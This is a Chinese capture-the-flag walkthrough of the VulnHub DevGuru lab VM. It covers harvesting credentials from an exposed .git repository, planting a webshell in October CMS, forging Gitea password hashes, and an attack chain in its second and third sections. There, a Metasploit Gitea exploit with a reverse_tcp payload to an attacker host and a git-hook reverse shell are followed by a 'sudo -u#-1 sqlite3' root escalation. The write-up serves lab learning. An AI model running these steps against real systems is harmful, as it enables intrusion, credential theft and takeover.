Vulnhub - DevGuru

2024-03-14 08:12
文章标签 vulnhub devguru

本文主要是介绍Vulnhub - DevGuru,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

DevGuru 靶机下载地址:DevGuru: 1 ~ VulnHub

目录

0x01 信息收集

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

0x03 权限提升 - SUDO&CVE-2021-3156


0x01 信息收集

Nmap扫描目标主机,发现开放22、80、8585端口,分别运行OpenSSH 7.6p1、Apache httpd 2.4.29服务。

访问80端口页面如下。Wappalyzer显示操作系统为Ubuntu,CMS为October CMS,数据库管理器为Adminer 4.7.7,编程语言为PHP、GO。 

DirSearch扫描80端口网站目录,发现存在Git源码泄露、管理员后台登录地址、数据库管理器地址。 

python dirsearch.py -u "http://192.168.196.139/" -z yes

数据库管理器:http://192.168.196.139/adminer.php

管理员后台登录:http://192.168.196.139/backend/backend/auth

访问8585端口,发现是一个Gitea网站(一款使用Golang编写的可自运营的代码管理工具)。

0x02 Web漏洞利用 - Webshell写入&CVE-2020-14144

由于80端口网站存在Git源码泄露,通过GitHack下载其Git源码,如下:

python GitHack.py -u "http://192.168.196.139/.git/"

翻阅源码,发现 /config/database.php存在MySQL数据库账号密码泄露,用户为october。

'database'   => 'octoberdb',
'username'   => 'october',
'password'   => 'SQ66EBYx4GT3byXH',

使用october的账号密码登录Adminer(数据库: octoberdb),在backend_users表观察到用户frank的password hash,尝试使用john解密失败,但得知其加密方式为bcrypt。

使用在线网站生成bcrypt密码hash值,如下:

bcrypt hash在线生成:Bcrypt-Generator.com - Generate, Check, Hash, Decode Bcrypt Strings

 新建用户ch4ser,将生成的hash填入password,并设置is_superuser=1,如下:

PS:另一种方法

新增用户ch4ser,password选择encrypt,is_superuser选择1。在backend_users_groups表将用户ch4ser添加到管理员组。这种方法不具有普遍性,这里能用是因为password可以选择encrypt。

在管理员后台成功登录用户ch4ser。选择左上角CMS模块,观察到访问/blog路由会触发onStart()方法。

于是新建一个模板shell,尝试触发onStart()方法写入webshell。访问/shell报错,通过报错信息得知webshell写入成功。

蚁剑连接webshell成功,翻阅目录找到了备份文件/var/backups/app.ini.bak,其中存在另一个用户gitea的MySQL账号密码泄露。

DB_TYPE             = mysql
HOST                = 127.0.0.1:3306
NAME                = gitea
USER                = gitea
PASSWD              = UfFPTF8C8jjxVF2m

使用gitea的账号密码登录Adminer(数据库: gitea),在user表观察到Gitea管理员frank的密码加密算法为pbkdf2,还有rand和salt看似是加密的。

尝试使用john、hashcat破解Gitea管理员frank的密码,未成功。

在GitHub找到Gitea源码,在该存储库下搜索关键字"pbkdf2",其使用pbkdf2算法进行加密,生成长度为50的hash值,迭代次数为10000,Salt就是之前的Bop8nwtUiM。

Gitea源码地址:https://github.com/search?q=repo%3Ago-gitea%2Fgitea+pbkdf2&type=code

使用在线网站生成pbkdf2密码,填写已知信息Salt、明文、迭代次数、生成的hash长度。

Salt=Bop8nwtUiM
Plain-text=123456
Iterations=10000
Key size (bytes)=50

替换Gitea管理员frank的密码hash值,成功登录8585端口的Gitea。

 

MSF搜索Gitea相关漏洞发现CVE-2020-14144,该漏洞需要认证才可使用,我们现在已满足条件,设置好options然后run,成功拿下frank的普通用户权限。

msf6 > use exploit/multi/http/gitea_git_hooks_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_hooks_rce) > set username frank
username => frank
msf6 exploit(multi/http/gitea_git_hooks_rce) > set password 123456
password => 123456
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rhosts 192.168.196.139
rhosts => 192.168.196.139
msf6 exploit(multi/http/gitea_git_hooks_rce) > set rport 8585
rport => 8585
msf6 exploit(multi/http/gitea_git_hooks_rce) > set lhost 192.168.196.128
lhost => 192.168.196.128
msf6 exploit(multi/http/gitea_git_hooks_rce) > run

或者直接复现该漏洞也行,进入项目 >> Settings >> Git Hooks >> Update 写上bash反弹命令保存,Kali这边nc监听,更新项目任意文件即可收到会话。

0x03 权限提升 - SUDO&CVE-2021-3156

上传综合辅助探测脚本LinEnum.sh至目标主机/tmp目录下,给予执行权限执行。

辅助项目下载地址:GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks

检测到sudo版本为1.8.21p2,且检测到NOPASSWD的SUDO命令:/usr/bin/sqlite3

查询GTFOBins得知sqlite3的SUDO提权方式如下,启用一个新的root权限的bash。

GTFOBins地址:

但实测以上命令不行,原因是sudo版本不符合利用条件,使用以下命令成功拿到root权限和flag:

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

另外也可以通过sudo本身漏洞提权,只要版本符合CVE-2021-3156利用条件或者执行命令 sudoedit -s / 报错,漏洞即存在。

这篇关于Vulnhub - DevGuru的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/807756

相关文章

Vulnhub靶场 | DC系列 - DC9

文章目录 DC-9环境搭建渗透测试端口敲门服务 DC-9 环境搭建 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀k

vulnhub靶场-DC2

一、环境配置 1.下载地址:https://www.vulnhub.com/entry/dc-2,311/ 2.靶场配置:Nat模式   更改hosts文件,官网提示需要更改hosts文件才能访问到网站,否则访问不了 kali进入编辑模式vim,添加上自己的靶机ip地址保存即可 vim /etc/hosts 3.攻击机:kali ip:192.168.111.12

Vulnhub靶场 | DC系列 - DC8

文章目录 DC-8环境搭建渗透测试 DC-8 环境搭建 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

Vulnhub靶场 | DC系列 - DC7

文章目录 DC-7环境搭建渗透测试 DC-7 环境搭建 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

Vulnhub靶场 | DC系列 - DC4

文章目录 DC-4环境搭建渗透测试 DC-4 环境搭建 靶机镜像下载地址:https://vulnhub.com/entry/dc-4,313/需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~/

Vulnhub靶场 | DC系列 - DC-3

文章目录 DC-3环境搭建渗透测试 DC-3 环境搭建 靶机镜像下载地址:https://vulnhub.com/entry/dc-32,312/需要将靶机和 kali 攻击机放在同一个局域网里;本实验kali 的 IP 地址:192.168.10.146。 渗透测试 使用 nmap 扫描 192.168.10.0/24 网段存活主机 ┌──(root💀kali)-[~

Vulnhub--OS-HACKNOS-2.1

渗透复现 目标站点为wordpress,通过wpscan进行漏洞扫描发现漏洞插件 通过漏洞插件存在的目录穿越漏洞成功读取/etc/passwd文件中flag用户的密码 SSH登录flag用户后在备份文件中找到rohit用户的密码 切换rohit用户,rohit用户能够以root权限执行任何文件,随后进行sudo su提权 知识扩展 wpsacn扫描wordpress站点 以root权

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering

信息收集 Server IP AddressPorts Opening192.168.8.100TCP:21,8009,9001 $ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDTNmap scan repor

[Vulnhub] BrainPan BOF缓冲区溢出+Man权限提升

信息收集 Server IP AddressPorts Open192.168.8.105TCP: $ nmap -p- 192.168.8.105 -sC -sV -Pn --min-rate 1000 Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-10 04:20 EDTNmap scan report for 192.168.8

vulnhub靶机hacksudoLPE中Challenge-1

下载地址:https://download.vulnhub.com/hacksudo/hacksudoLPE.zip 主机发现 目标146 端口扫描 服务扫描 漏洞扫描 上面那整出来几个洞,可以试试 easy? 估计就是看源码 看来是的 登入咯 这里进不去就是ssh咯 这个看着有点像提权的操作 一、Challenge-1 1.